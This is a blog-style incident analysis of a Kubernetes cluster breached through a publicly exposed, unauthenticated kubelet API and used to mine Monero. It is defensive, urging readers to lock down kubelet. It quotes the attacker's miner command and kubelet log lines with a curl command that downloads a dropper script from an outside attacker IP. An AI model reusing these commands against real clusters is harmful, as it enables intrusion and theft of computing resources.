Analysis of a Kubernetes hack — Backdooring through kubelet
Tags: Infrastructure, Security, Docker, Kubernetes

The hack

The compromised cluster was a single node Kubernetes deployment running on top of Alpine Linux. The first indicator of compromise was a suspicious process running as a child of the docker daemon:

/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B

curling the endpoint returns the following text:

Mining Proxy Online

:( It appears someone found a way to drop some crypto mining software on a running container and execute the process.

Searching for the file udevs in the docker overlay directory for the container ( /var/lib/docker/overlay2/b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) uncovered a dropper script named “kube.lock” which downloaded the mining software from transfer.sh and executes it.

Additionally, the MD5 signature (a4404be67a41f144ea86a7838f357c26) for the /tmp/udevs program matches this definition for a possible Monero Miner on VirusTotal:

So we know the attacker somehow got the kube.lock script in the container and executed it — but how?

The kubernetes api-server was publicly exposed to the internet — but protected with certificate authentication, so our first inclination was a possible supply chain attack on one of the images running in the cluster. However, upon inspecting the kubelet logs we spotted something:



/var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing

/var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl

... .../var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332]' from runtime service failed: rpc error: code = Internal desc = transport is closing/var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing...

It would appear the attacker was somehow issuing exec commands to kubelet. Immediately googling for Kubelet authentication returns this good text from the Kubernetes docs:

By default, requests to the kubelet’s HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a username of system:anonymous and a group of system:unauthenticated .

Unless you specify some flags on Kubelet, it’s default mode of operation is to accept unauthenticated API requests. Keep in mind that in order for master -> node communication to work, the Kubernetes API server must be able to talk to kubelet on your nodes.

As it turns out, our coworker’s server was also publicly exposing the kubelet ports (tcp 10250, tcp 10255). Although the problem here was obvious, it should raise some questions about your own Kubernetes deployment, as it did for us.

If your users have network access to your nodes, then the kubelet API is a full featured unauthenticated API backdoor to your cluster.

That is, if you’ve gone through the trouble of enabling Authentication and Authorization (webhook, RBAC, etc) then you should also ensure your kubelet is properly locked down.

There’s a couple issues floating around raising concern over the security of Kubelet communication, but we feel this issue is not getting the attention it deserved.